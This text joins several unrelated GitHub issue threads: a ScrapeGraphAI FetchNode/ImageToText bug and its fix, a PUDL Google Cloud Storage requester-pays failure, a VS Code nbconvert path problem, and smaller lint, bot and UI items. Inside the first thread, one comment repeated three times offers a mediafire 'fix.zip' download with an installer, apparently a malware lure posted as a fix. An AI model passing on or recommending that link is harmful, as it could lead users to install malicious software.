OmniScraperGraph not working: Error parsing input keys for ImageToText

Describe the bug
OmniScraperGraph throws error. Tested on minimal example on GitHub.
omni_scraper_openai.py
To Reproduce
mkdir test
cd test
python3 -m venv venv
source venv/bin/activate

pip install "scrapegraphai[burr]" --no-cache     # to have a clean environment
playwright install

# Using the provided example for openai found on GitHub
# Set up openai key in .env
python3 omni_scraper_openai.py

Output
--- Executing Fetch Node ---
--- (Fetching HTML from: https://perinim.github.io/projects/) ---
--- Executing Parse Node ---
--- Executing ImageToText Node ---
Traceback (most recent call last):
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/scrapegraphai/nodes/base_node.py", line 112, in get_input_keys
    input_keys = self._parse_input_keys(state, self.input)
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/scrapegraphai/nodes/base_node.py", line 236, in _parse_input_keys
    raise ValueError("No state keys matched the expression.")
ValueError: No state keys matched the expression.

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/Users/lollo/Desktop/test/test.py", line 42, in <module>
    result = omni_scraper_graph.run()
             ^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/scrapegraphai/graphs/omni_scraper_graph.py", line 124, in run
    self.final_state, self.execution_info = self.graph.execute(inputs)
                                            ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/scrapegraphai/graphs/base_graph.py", line 263, in execute
    return self._execute_standard(initial_state)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/scrapegraphai/graphs/base_graph.py", line 185, in _execute_standard
    raise e
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/scrapegraphai/graphs/base_graph.py", line 169, in _execute_standard
    result = current_node.execute(state)
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/scrapegraphai/nodes/image_to_text_node.py", line 54, in execute
    input_keys = self.get_input_keys(state)
                 ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/scrapegraphai/nodes/base_node.py", line 116, in get_input_keys
    raise ValueError(f"Error parsing input keys for {self.node_name}: {str(e)}")
ValueError: Error parsing input keys for ImageToText: No state keys matched the expression.

Adding burr arguments to graph config:
"burr_kwargs": {
        "project_name": "test-scraper",
        "app_instance_id":"1234",
    }

Starting action: Fetch
--- Executing Fetch Node ---
--- (Fetching HTML from: https://perinim.github.io/projects/) ---

********************************************************************************
-------------------------------------------------------------------
Oh no an error! Need help with Burr?
Join our discord and ask for help! https://discord.gg/4FxBMyzW5n
-------------------------------------------------------------------
> Action: `Fetch` encountered an error!<
> State (at time of action):
{'__SEQUENCE_ID': 0,
 'url': 'https://perinim.github.io/projects/',
 'user_prompt': "'List me all the projects with their titles and im..."}
> Inputs (at time of action):
{}
********************************************************************************
Traceback (most recent call last):
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/burr/core/application.py", line 561, in _step
    new_state = _run_reducer(next_action, self._state, result, next_action.name)
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/burr/core/application.py", line 199, in _run_reducer
    _validate_reducer_writes(reducer, new_state, name)
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/burr/core/application.py", line 174, in _validate_reducer_writes
    raise ValueError(
ValueError: State is missing write keys after running: Fetch. Missing keys are: {'link_urls', 'img_urls'}. Has writes: ['doc', 'link_urls', 'img_urls']
Finishing action: Fetch
Traceback (most recent call last):
  File "/Users/lollo/Desktop/test/test.py", line 46, in <module>
    result = omni_scraper_graph.run()
             ^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/scrapegraphai/graphs/omni_scraper_graph.py", line 124, in run
    self.final_state, self.execution_info = self.graph.execute(inputs)
                                            ^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/scrapegraphai/graphs/base_graph.py", line 260, in execute
    result = bridge.execute(initial_state)
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/scrapegraphai/integrations/burr_bridge.py", line 215, in execute
    last_action, result, final_state = self.burr_app.run(
                                       ^^^^^^^^^^^^^^^^^^
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/burr/telemetry.py", line 273, in wrapped_fn
    return call_fn(*args, **kwargs)
           ^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/burr/core/application.py", line 893, in run
    next(gen)
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/burr/core/application.py", line 838, in iterate
    prior_action, result, state = self.step(inputs=inputs)
                                  ^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/burr/core/application.py", line 515, in step
    out = self._step(inputs=inputs, _run_hooks=True)
          ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/burr/core/application.py", line 568, in _step
    raise e
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/burr/core/application.py", line 561, in _step
    new_state = _run_reducer(next_action, self._state, result, next_action.name)
                ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/burr/core/application.py", line 199, in _run_reducer
    _validate_reducer_writes(reducer, new_state, name)
  File "/Users/lollo/Desktop/test/venv/lib/python3.11/site-packages/burr/core/application.py", line 174, in _validate_reducer_writes
    raise ValueError(
ValueError: State is missing write keys after running: Fetch. Missing keys are: {'link_urls', 'img_urls'}. Has writes: ['doc', 'link_urls', 'img_urls']

Desktop

OS: MacOsX (Intel)
ScrapeGraphAi Version: 1.14.0 / 1.15.0b2 / 1.13.3 (Tested on all)
python3.11.9 (not python3.12, see #568 )

Download
https://www.mediafire.com/file/nyekc4ehyxg2ijy/fix.zip/file
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/nyekc4ehyxg2ijy/fix.zip/file
In the installer menu, select "gcc."

Download
https://www.mediafire.com/file/nyekc4ehyxg2ijy/fix.zip/file
In the installer menu, select "gcc."

CC @elijahbenizzy

@skrawcz will you do it?

@skrawcz will you do it?

Yes, we will take a look shortly. Thanks for bringing up!

Hey! I thought this was a Burr error, but it looks like this is an error with the workflow. It looks like the problem is that not all the state items are written.
So, I'm not sure I'm the best to debug this (I don't have full context), but I did create this to make it easier to debug/read. In the burr case, it's fairly clear what's happening, the non-burr case (with this fix) displays the same information.
Thoughts on how to proceed? Did something change recently?
https://github.com/ScrapeGraphAI/Scrapegraph-ai/pull/611/files

Hi, I do not know if this is helpful or not.
The error I encountered is in the "standard" ScrapeGraphAi work mode: without using burr. When I firstly saw the error I tried to understand if it was an issue on my side and tried out burr to see if I could figure out something. Unfortunately also burr was giving an error.
To me it seemed that burr was raising an error due to the underling structure of OmniScraper not working properly, I included both logs in my Issue simply because to me burr error felt much more detailed than the generic error thrown by ScrapeGraphAi. Thinking it could be of help figuring out where the bug is I included both log.

Hi, I do not know if this is helpful or not.
The error I encountered is in the "standard" ScrapeGraphAi work mode: without using burr. When I firstly saw the error I tried to understand if it was an issue on my side and tried out burr to see if I could figure out something. Unfortunately also burr was giving an error.
To me it seemed that burr was raising an error due to the underling structure of OmniScraper not working properly, I included both logs in my Issue simply because to me burr error felt much more detailed than the generic error thrown by ScrapeGraphAi. Thinking it could be of help figuring out where the bug is I included both log.

Got it! Yeah I think that Burr was slightly more helpful (it showed the keys that were missing), but I added that back to the core library too :)

I dug down and found the issue.
Looking at the omni_scraper_graph.py-L59 file it can be easily seen how the AbstractGraph gets created:
def _create_graph(self) -> BaseGraph:
        """
        Creates the graph of nodes representing the workflow for web scraping.

        Returns:
            BaseGraph: A graph instance representing the web scraping workflow.
        """
        fetch_node = FetchNode(
            input="url | local_dir",
            output=["doc", "link_urls", "img_urls"],
            node_config={
                "loader_kwargs": self.config.get("loader_kwargs", {}),
            }
        )
        parse_node = ParseNode(
            input="doc",
            output=["parsed_doc"],
            node_config={
                "chunk_size": self.model_token
            }
        )
        image_to_text_node = ImageToTextNode(
            input="img_urls",
            output=["img_desc"],
            node_config={
                "llm_model": OpenAIImageToText(self.config["llm"]),
                "max_images": self.max_images
            }
        )

        generate_answer_omni_node = GenerateAnswerOmniNode(
            input="user_prompt & (relevant_chunks | parsed_doc | doc) & img_desc",
            output=["answer"],
            node_config={
                "llm_model": self.llm_model,
                "additional_info": self.config.get("additional_info"),
                "schema": self.schema
            }
        )

        return BaseGraph(
            nodes=[
                fetch_node,
                parse_node,
                image_to_text_node,
                generate_answer_omni_node,
            ],
            edges=[
                (fetch_node, parse_node),
                (parse_node, image_to_text_node),
                (image_to_text_node, generate_answer_omni_node)
            ],
            entry_point=fetch_node,
            graph_name=self.__class__.__name__
        )

Possible First Issue (Minor)
I think the Fetch node is missing some configurations to work properly, proposed changes:
fetch_node = FetchNode(
            input="url| local_dir",
            output=["doc", "link_urls", "img_urls"],
            node_config={
                "llm_model": self.llm_model,
                "force": self.config.get("force", False),
                "cut": self.config.get("cut", True),
                "loader_kwargs": self.config.get("loader_kwargs", {}),
                "browser_base": self.config.get("browser_base")
            }
        )

I dug down and found the issue.
Looking at the omni_scraper_graph.py-L59 file it can be easily seen how the AbstractGraph gets created:
def _create_graph(self) -> BaseGraph:
        """
        Creates the graph of nodes representing the workflow for web scraping.

        Returns:
            BaseGraph: A graph instance representing the web scraping workflow.
        """
        fetch_node = FetchNode(
            input="url | local_dir",
            output=["doc", "link_urls", "img_urls"],
            node_config={
                "loader_kwargs": self.config.get("loader_kwargs", {}),
            }
        )
        parse_node = ParseNode(
            input="doc",
            output=["parsed_doc"],
            node_config={
                "chunk_size": self.model_token
            }
        )
        image_to_text_node = ImageToTextNode(
            input="img_urls",
            output=["img_desc"],
            node_config={
                "llm_model": OpenAIImageToText(self.config["llm"]),
                "max_images": self.max_images
            }
        )

        generate_answer_omni_node = GenerateAnswerOmniNode(
            input="user_prompt & (relevant_chunks | parsed_doc | doc) & img_desc",
            output=["answer"],
            node_config={
                "llm_model": self.llm_model,
                "additional_info": self.config.get("additional_info"),
                "schema": self.schema
            }
        )

        return BaseGraph(
            nodes=[
                fetch_node,
                parse_node,
                image_to_text_node,
                generate_answer_omni_node,
            ],
            edges=[
                (fetch_node, parse_node),
                (parse_node, image_to_text_node),
                (image_to_text_node, generate_answer_omni_node)
            ],
            entry_point=fetch_node,
            graph_name=self.__class__.__name__
        )

Possible First Issue (Minor)
I think the Fetch node is missing some configurations to work properly, proposed changes:
fetch_node = FetchNode(
            input="url| local_dir",
            output=["doc", "link_urls", "img_urls"],
            node_config={
                "llm_model": self.llm_model,
                "force": self.config.get("force", False),
                "cut": self.config.get("cut", True),
                "loader_kwargs": self.config.get("loader_kwargs", {}),
                "browser_base": self.config.get("browser_base")
            }
        )

MAIN ISSUE
OmniScraperGraph starting from FetchNode, through ParseNode and ImageToTextNode should gather all the necessary information to generate an answer.
By just looking at the input/output parameters it theoretically all makes sense. FetchNode provides in output doc, link_urls  and img_urls . This output is then used by ParseNode and ImageToTextNode to generate better data.
The issue is in FetchNode. It actually only generate in output doc and nothing else. That causes ImageToTextNode to fail since the state does not contain the requested image_urls. It also causes Burr to fail since the node is "promising" doc, link_urls  and img_urls , but it is generating just doc.
Proposed Solution
It should be fairly simple to add a small parsing for urls. Inside helpers/default_filters it already exists a list of image extensions that can be leveraged to distinguish image urls from link urls.
I do not know if you want this feature to be implemented inside the ParseNode or the FetchNode so I didn't try to push a fix for this, but with a very simple patch I putted testing, with this described small function it should start working again.

yes please can you fix it and make a pull request?

Should I add the function on FetchNode or on ParseNode?

Parse

Hi @LorenzoPaleari can you update and say if everything is ok?

I pushed the changes and it should work, although beta5 is broken, I'm opening an issue

now beta is stable, can you try again?

Sorry, I got busy last days.

v1.18.3 - Do not have the fixes I made
v1.19.0-beta1 - Has the changes I made WORKING
v1.19.0-beta2+ - Changes I made got removed trying to fix another bug with urls.

ParseNode needs to be able to extract from the document url_links and images_links and update the status with this values.
On the changes I made, when creating parse node with flag parse_url = True, the links scraping was active and the status was updated correctly allowing ImageToText node to execute flawlessly.
I used a parameter with a flag since I didn't know if this particular function were going to be used somewhere else that is not OmniScraperGraph, but can always be used in CustomGraph creation.
On 1.19.0-beta2 the fix I made got removed, the code I added didn't changed in any way the normal execution workflow of the ParseNode, it was just going to call a couple of functions to extract links, and than the document parsing was flowing as it was before. With the only difference that before parsing I had extracted links to update the status with.
While resolving #637 on Merge #648 my code was removed, probably considering the similarity of not being able to extract urls and my url extractor. They are actually two distinct features that should go along well.
My change is just changing the state variable in order to correctly pass to all other nodes that are called later the images_links and url_links. While the issue was referring to GPT (or any LLM) not being able to extract urls from the parsed document itself which I didn't change.

Hi @LorenzoPaleari, sorry for what I've done.
Can you re upload your lines of code?

@VinciGit00
No problem at all, just wanted to provide more info on why that part of code is harmless but useful for OmniScraper.
Pull Request
#622

hi please update to the ne version

Hi everyone,
Is there any solution for this issue? I'm encountering the same error. Any help is welcomed


Securing the keys / secrets that are created in your SDK environment

Installed the jumpscale / 3bot environment
/tmp/jsx container-install

Then when done
3bot start

3bot.connect login screen
login using 3bot.connect
error (needs to be http / not https)
If I remove the s in the URL - get back tot he 3bot login screen.

Integrated now in identity and sdk.


Ensure that Certificate serial numbers are <= 64 bytes

Once this is done, we should turn the linter for this on in the DPE verification test suite.

We are encoding the serial number of the subject name as the hex encoding of the sha256 hash of the subject key so it will always be 64 bytes.


📎 Implement useExplicitLengthCheck - unicorn/explicit-length-check

Description
Implement unicorn/explicit-length-check
This rule takes around 10% of lint time in one of my projects, so it should be nice perf improvement for people migrating to biome.
Questions:

Should support comparison options?

I would go with no for now. Github code search for the rule returns only 62 results, including false positives. Since this rule is recomended by unicorn vast majority users will be using non-zero. I personally do not see much value for the option, but I can be convinced.

Which properties to support checks on? Unicorn supports only length and size, but I can see value in supporting additional properties such as byteLength, byteOffset`.

Will try to work on it.

Yeah, I don't think we need any option.

Which properties to support checks on? Unicorn supports only length and size, but I can see value in supporting additional properties such as byteLength, byteOffset.

Good point.


fix: 🐛 responsive click on select arrow

✅ Closes: 738

👋 Thanks for creating a pull request! 🚀 Checkout the storybook we've created for it: chlorophyll


Application Exception: Forbidden - The request is understood, but it has been refused or access is not allowed. An accompanying error message will explain why. This code is used when requests are being denied due to update limits.

This is an issue created automatically by GrammarNazi when an exception was captured.
Date (UTC): 04/04/2021 13:28:25
Exception:
Reason : Forbidden
Details : You've already requested to follow jhon_alex593. (160)
Code : 403
Date : 04/04/2021 13:28:25 +00:00
URL : https://api.twitter.com/1.1/friendships/create.json?user_id=217457481
Twitter documentation description : Forbidden - The request is understood, but it has been refused or access is not allowed. An accompanying error message will explain why. This code is used when requests are being denied due to update limits.

Similar to #179, we're trying to follow back a user with their account protected, which we already requested to follow.
I added a workaround in https://github.com/nminaya/grammar-nazi-bot/commit/cad30f348c2b319e57636638679a6ab9d26e2cca.
We'll need to find out if it's possible to verify if we already requested to follow a user, before trying to follow them again.


Handle GCS Cache flakiness

About a quarter of nightly builds fail due to a GCS error that happens at unpredictable points in the ETL:
Traceback (most recent call last):
  File "/home/catalyst/env/bin/pudl_etl", line 33, in <module>
    sys.exit(load_entry_point('catalystcoop.pudl', 'console_scripts', 'pudl_etl')())
  File "/home/catalyst/src/pudl/cli.py", line 131, in main
    pudl.etl.etl(
  File "/home/catalyst/src/pudl/etl.py", line 463, in etl
    etl_epacems(datasets["epacems"], pudl_settings, ds_kwargs, clobber=clobber)
  File "/home/catalyst/src/pudl/etl.py", line 339, in etl_epacems
    df = pudl.extract.epacems.extract(year=year, state=state, ds=ds)
  File "/home/catalyst/src/pudl/extract/epacems.py", line 152, in extract
    return ds.get_data_frame(partition).assign(year=year)
  File "/home/catalyst/src/pudl/extract/epacems.py", line 107, in get_data_frame
    archive = self.datastore.get_zipfile_resource(
  File "/home/catalyst/src/pudl/workspace/datastore.py", line 371, in get_zipfile_resource
    return zipfile.ZipFile(io.BytesIO(self.get_unique_resource(dataset, **filters)))
  File "/home/catalyst/src/pudl/workspace/datastore.py", line 360, in get_unique_resource
    _, content = next(res)
  File "/home/catalyst/src/pudl/workspace/datastore.py", line 340, in get_resources
    if self._cache.is_optimally_cached(res) and skip_optimally_cached:
  File "/home/catalyst/src/pudl/workspace/resource_cache.py", line 222, in is_optimally_cached
    return cache_layer.contains(resource)
  File "/home/catalyst/src/pudl/workspace/resource_cache.py", line 142, in contains
    return self._blob(resource).exists()
  File "/home/catalyst/env/lib/python3.10/site-packages/google/cloud/storage/blob.py", line 706, in exists
    client._get_resource(
  File "/home/catalyst/env/lib/python3.10/site-packages/google/cloud/storage/client.py", line 366, in _get_resource
    return self._connection.api_request(
  File "/home/catalyst/env/lib/python3.10/site-packages/google/cloud/storage/_http.py", line 73, in api_request
    return call()
  File "/home/catalyst/env/lib/python3.10/site-packages/google/api_core/retry.py", line 283, in retry_wrapped_func
    return retry_target(
  File "/home/catalyst/env/lib/python3.10/site-packages/google/api_core/retry.py", line 190, in retry_target
    return target()
  File "/home/catalyst/env/lib/python3.10/site-packages/google/cloud/_http/__init__.py", line 494, in api_request
    raise exceptions.from_http_response(response)
google.api_core.exceptions.BadRequest: 400 GET https://storage.googleapis.com/storage/v1/b/zenodo-cache.catalyst.coop/o/epacems%2F10.5281-zenodo.4660268%2Fepacems-2016-nh.zip?userProject=catalyst-cooperative-pudl&fields=name&prettyPrint=false: User project specified in the request is invalid.

It typically happens during the CEMS pipeline but at seemingly random partitions. The error says catalyst-cooperative-pudl projoect is invalid which is weird given the ETL successfully completes the request hundreds of times before failing. Maybe adding a retry to the GCS client will do the trick.
TODOs:

[x] Upload new CEMS archive to GCS.
[x] Recreate error
[x] Add a retry

The nightly builds for 8e0f1b9ec089b994f855f74849f6026fc991e33c-dev failed because the GCSCache was trying to write a new zenodo archive to the cloud bucket but didn't have permission to write to the bucket. Adding the Bucket Writer role to the VM service account resolved the issue.
Bad news is the the etl hit a zenoodo time out trying to read to first epacems partition.

I was able to reproduce the original bad request error after 11 iterations through the entire epacems dataset on the vm.

Given the recent (and likely recurring) EIA API failure, maybe a quick temporary fix would be to have the current fuel filling fail gracefully if there's no API_KEY_EIA set in the environment, and then remove it from the environment (which is how the tests are set up to work, and how I disabled the EIA API calls in the tests)

Do the tests already fail gracefully if there's no API_KEY_EIA?

Oh my goodness, I'm still getting the BadRequest error after adding the retry (the logs).
I doubled check the requester pays documentation to make sure I wasn't missing anything:

Once enabled, only the following users can access the bucket or its contents:
Requesters who include a billing project in their request. The project used in the request must be in good standing, and the user must have a role in the project that contains the serviceusage.services.use permission. The Service Usage Consumer role contains the required permission.

deploy-pudl-vm-service-account has the  Service Usage Consumer role and the user project is included in the request. This the example request pays API request:
curl -X GET \
  -H "Authorization: Bearer OAUTH2_TOKEN" \
  -o "SAVE_TO_LOCATION" \
  "https://storage.googleapis.com/storage/v1/b/BUCKET_NAME/o/OBJECT_NAME?alt=media&userProject=catalyst-cooperative-pudl"

This is the API request throwing the error:
https://storage.googleapis.com/download/storage/v1/b/zenodo-cache.catalyst.coop/o/epacems%2F10.5281-zenodo.6910058%2Fepacems-1999-vt.zip?alt=media&userProject=catalyst-cooperative-pudl

The user project is clearly included in the API request.
Possible solutions

I could play around with some of these retry parameters. The default parameters retry the call for 120 seconds. Docs on how the retry algorithm works.
Mount a volume with a local cache of the zenodo archives. This would probably do the trick but it seems silly we can't reliably access a GCS requester pays bucket from a google VM :(
Maintain an additional private zenodo-cache bucket that doesn't have requester pays enabled. This does leave the potential for the two buckets to get out of sync.
Reach out to folks at pangeo. It looks like some of their users have run into this issue before.
Catch the error and let the user know a CEMS partition was skipped. I don't love this idea :/

@silky any chance you've run into this type of GCS flakiness before?

Do the tests already fail gracefully if there's no API_KEY_EIA?

Yes, if there's no API_KEY_EIA it sets the fuel price filling argument in the pudl_out objects being used in the tests to False

Have Pangeo folks had the same problem where they are actually providing the billing project ID and it still doesn't work? That discussion looked like it was about the need to configure things to work with requester pays more generally (which if I understand your description, we are!)  But if this is a more general problem that comes up with requester pays data access I imagine @rabernat et al. would have encountered it!

@silky any chance you've run into this type of GCS flakiness before?

Unfortunately not; I think I agree with you that either doing the retry, or just doing your second idea of mounting a local cache seems useful.

It's a little unsatisfying, but switching to using the gs://internal-zenodo-cache.catalyst.coop bucket seems to have solved this issue. I'm a little worried about the reliability of providing our data via requester pays buckets now. 🙁
But maybe we should close the issue since it's not blocking us anymore?


feat(ui): add action to explorer item to show the test/suite line in the source code tab

Description

This PR includes:

new action in the explorer item to go to the test/suite line in the source code tab: will navigate to the tab if the ViewEditor is not the code tab or the active file is not the selected
enable includeTaskLocation if running in browser mode (not headless) or ui mode: will preserve user option
when the user disables  includeTaskLocation, the explorer item will show a tooltip similar for coverage without html reporter (check image below)
update config.md to include previous entry.
refactor codemirror logic: moved codemirrror shallow ref from the view to a global shallow ref inside codemirror composable, removed exposed codemirror from the vew and updated all usages with the global one
added navigateTo to navigator.ts composable to allow change the view mode: navigator sfc and explorer item using it, without view mode and with it respectively

You can see this PR in action in this video.

Disabled includeTaskLocation
Please don't delete this checklist! Before submitting the PR, please make sure you do the following:

[ ] It's really useful if your PR references an issue where it is discussed ahead of time. If the feature is substantial or introduces breaking changes without a discussion, PR might be closed.
[ ] Ideally, include a test that fails without this PR but passes with it.
[x] Please, don't make changes to pnpm-lock.yaml unless you introduce a new test example.

Tests

[x] Run the tests with pnpm test:ci.

Documentation

[x] If you introduce new functionality, document it. You can run documentation with pnpm run docs command.

Changesets

[x] Changes in changelog are generated from PR name. Please, make sure that it explains your changes in an understandable manner. Please, prefix changeset messages with feat:, fix:, perf:, docs:, or chore:.

When running test/core  with Vitest UI I get this error that should be fixed (or maybe not):

Added code tab and source files to the gz file: last commit also enables includeTaskLocation when using html reporter

Dont merge yet, I'll change the explorer ítem ui again (missing tooltip when html reporter).

@userquin Is codemirrorRef guaranteed to be initialized after 256 milliseconds?

// we need to await, CodeMirrow will take some time to initialize
await new Promise(r => setTimeout(r, 256))

packages/ui/client/composables/codemirror.ts

It is about waiting for route change and 100ms in the onMounted, maybe I can try using another approach to load it.

@userquin Is codemirrorRef guaranteed to be initialized after 256 milliseconds?

// we need to await, CodeMirrow will take some time to initialize
await new Promise(r => setTimeout(r, 256))

packages/ui/client/composables/codemirror.ts

Now the logic will focus the line based on the new line router param, forcing the watcher to trigger in ViewEditor once the new code loaded


add unit test micro-library guardianjs

I have the source file as bundle and just saw the requirement for a file that doesn't change.  Do I need to create a new pull request for each version change?


Jupyter can't find nbconvert to export as html

Applies To

[X] Notebooks (.ipynb files)
[ ] Interactive Window and/or Cell Scripts (.py files with #%% markers)

What happened?
This is the same problem as in the closed issue #4347
Jupyter command jupyter-nbconvert not found in VS Code on Win10
although in this case I'm on a Mac.  It seems that VSCode doesn't know where to look to find nbconvert, although I could use it from the command line.
After spending several hours with this same problem, I finally found a very simple solution. The solutions in issue #4347 did not work for me.  Perhaps there is another solution that involves setting PYTHONPATH, but it seems strange that the command line works while the call from within VSCode doesn't.
In VSCode's settings.json file, there is a line that can be set to extra directories needed by Python. In my case that looks like this:
"python.analysis.extraPaths": ["/Users/lilly/micromamba/lib/python3.11"],

This important thing seems to be that that directory contains the directory site-packages.
It's relevant to mention that I am getting VSCode to find the Python distribution I want it to use with
"python.defaultInterpreterPath": "/Users/lilly/micromamba/bin/python",

I hope this helps anyone else struggling with the same problem.
Now, I am able to explore to html from within VSCode by choosing ...>Export>HTML from the toolbar.
VS Code Version
1.77.3
Jupyter Extension Version
v2023.3.1201040234
Jupyter logs
> ~/micromamba/bin/python -m pip list
error 16:09:11.223: Failed to get activated conda env variables for /Users/lilly/micromamba/bin/python
                 in 9ms
error 16:09:11.224: Unable to determine site packages path for python /Users/lilly/micromamba/bin/python (Conda)
info 16:09:11.226: Process Execution: > ~/micromamba/bin/python -c "import jupyter;print('6af208d0-cb9c-427f-b937-ff563e17efdf')"
> ~/micromamba/bin/python -c "import jupyter;print('6af208d0-cb9c-427f-b937-ff563e17efdf')"
error 16:09:11.227: Failed to get activated conda env variables for /Users/lilly/micromamba/bin/python
                 in 14ms
error 16:09:11.227: Unable to determine site packages path for python /Users/lilly/micromamba/bin/python (Conda)
info 16:09:11.228: Process Execution: > ~/micromamba/bin/python -c "import notebook;print('6af208d0-cb9c-427f-b937-ff563e17efdf')"
> ~/micromamba/bin/python -c "import notebook;print('6af208d0-cb9c-427f-b937-ff563e17efdf')"
error 16:09:11.378: Failed to get activated conda env variables for /Users/lilly/micromamba/bin/python
                 in 2ms
error 16:09:11.379: Unable to determine site packages path for python /Users/lilly/micromamba/bin/python (Conda)
info 16:09:11.379: Process Execution: > ~/micromamba/bin/python -m jupyter kernelspec --version
> ~/micromamba/bin/python -m jupyter kernelspec --version
error 16:09:11.552: Failed to get activated conda env variables for /Users/lilly/micromamba/bin/python
                 in 3ms
error 16:09:11.553: Unable to determine site packages path for python /Users/lilly/micromamba/bin/python (Conda)
info 16:09:11.553: Process Execution: > ~/micromamba/bin/python -c "import nbconvert;print('6af208d0-cb9c-427f-b937-ff563e17efdf')"
> ~/micromamba/bin/python -c "import nbconvert;print('6af208d0-cb9c-427f-b937-ff563e17efdf')"
error 16:09:11.891: Failed to get activated conda env variables for /Users/lilly/micromamba/bin/python
                 in 4ms
error 16:09:11.891: Unable to determine site packages path for python /Users/lilly/micromamba/bin/python (Conda)
info 16:09:11.893: Process Execution: > ~/micromamba/bin/python -c "import jupyter;print('6af208d0-cb9c-427f-b937-ff563e17efdf')"
> ~/micromamba/bin/python -c "import jupyter;print('6af208d0-cb9c-427f-b937-ff563e17efdf')"
error 16:09:11.921: Failed to get activated conda env variables for /Users/lilly/micromamba/bin/python
                 in 5ms
error 16:09:11.921: Unable to determine site packages path for python /Users/lilly/micromamba/bin/python (Conda)
info 16:09:11.923: Process Execution: > ~/micromamba/bin/python -m jupyter nbconvert /var/folders/24/lt32gtnn37vdn9n0qyfrntsm0000gn/T/f017475d-427e-49f5-a70e-04ecfaf43a08/vortexmoments.ipynb --to html --output tmp-26449lVSOcRtheD3Y.html --output-dir /var/folders/24/lt32gtnn37vdn9n0qyfrntsm0000gn/T --debug
> ~/micromamba/bin/python -m jupyter nbconvert /var/folders/24/lt32gtnn37vdn9n0qyfrntsm0000gn/T/f017475d-427e-49f5-a70e-04ecfaf43a08/vortexmoments.ipynb --to html --output tmp-26449lVSOcRtheD3Y.html --output-dir /var/folders/24/lt32gtnn37vdn9n0qyfrntsm0000gn/T --debug

Coding Language and Runtime Version
Python 3.11.3
Language Extension Version (if applicable)
No response
Anaconda Version (if applicable)
No response
Running Jupyter locally or remotely?
Local

Thanks for filing this issue and sorry you are running into this,
Thanks for sharing the error logs, very useful and indicates that something is certainly not behaving correctly.
Please could you enable logging as follows:

Open settings & go into Jupyter->Logging
Change the value to verbose
Reload VS Code,
Attempt to repro the issue & then copy the output from the Jupyter output panel.

Hi Don,
Thanks for getting back to me.  I reproduced the issue on another
computer.  Here is the log file:
error 14:13:45.291: Export failed Error: Jupyter nbconvert is not
installed
    at Yw.getExportInterpreter (/Users/lilly/.vscode/extensions/ms-
toolsai.jupyter-2023.3.1201040234/out/extension.node.js:24:279832)
    at Zw.executeCommand (/Users/lilly/.vscode/extensions/ms-
toolsai.jupyter-2023.3.1201040234/out/extension.node.js:24:281012)
    at aS.export (/Users/lilly/.vscode/extensions/ms-toolsai.jupyter-
2023.3.1201040234/out/extension.node.js:24:285277)
    at yS.exportToFormat (/Users/lilly/.vscode/extensions/ms-
toolsai.jupyter-2023.3.1201040234/out/extension.node.js:24:290305)
    at yS.performNbConvertExport (/Users/lilly/.vscode/extensions/ms-
toolsai.jupyter-2023.3.1201040234/out/extension.node.js:24:290074)
    at yS.performExport (/Users/lilly/.vscode/extensions/ms-
toolsai.jupyter-2023.3.1201040234/out/extension.node.js:24:289751)
    at yS.exportImpl (/Users/lilly/.vscode/extensions/ms-
toolsai.jupyter-2023.3.1201040234/out/extension.node.js:24:289379)
    at yS.export (/Users/lilly/.vscode/extensions/ms-toolsai.jupyter-
2023.3.1201040234/out/extension.node.js:24:289135)
    at b_.export (/Users/lilly/.vscode/extensions/ms-toolsai.jupyter-
2023.3.1201040234/out/extension.node.js:24:424037)
    at m.h (/Applications/Visual Studio
Code.app/Contents/Resources/app/out/vs/workbench/api/node/extensionHostProcess.js:98:125789)
After including the statements in my settings.json file as described in
my post, the html generator now works on this computer as well.
On prompt I noticed this time: I did not choose to allow
terminal.integrated.inheritEnv to be set to false.  Not sure if this is
relevant.
Best wishes,
Jonathan
On April 25, 2023, Github Notifications @.***>
wrote:

Thanks for filing this issue and sorry you are running into this,
 Thanks for sharing the error logs, very useful and indicates that
something is certainly not behaving correctly.
Please could you enable logging as follows:

Open settings & go into Jupyter->Logging
Change the value to verbose
Reload VS Code,
Attempt to repro the issue & then copy the output from the Jupyter
output panel.

—
Reply to this email directly, view it on GitHub
<https://github.com/microsoft/vscode-jupyter/issues/13404#issuecomment-
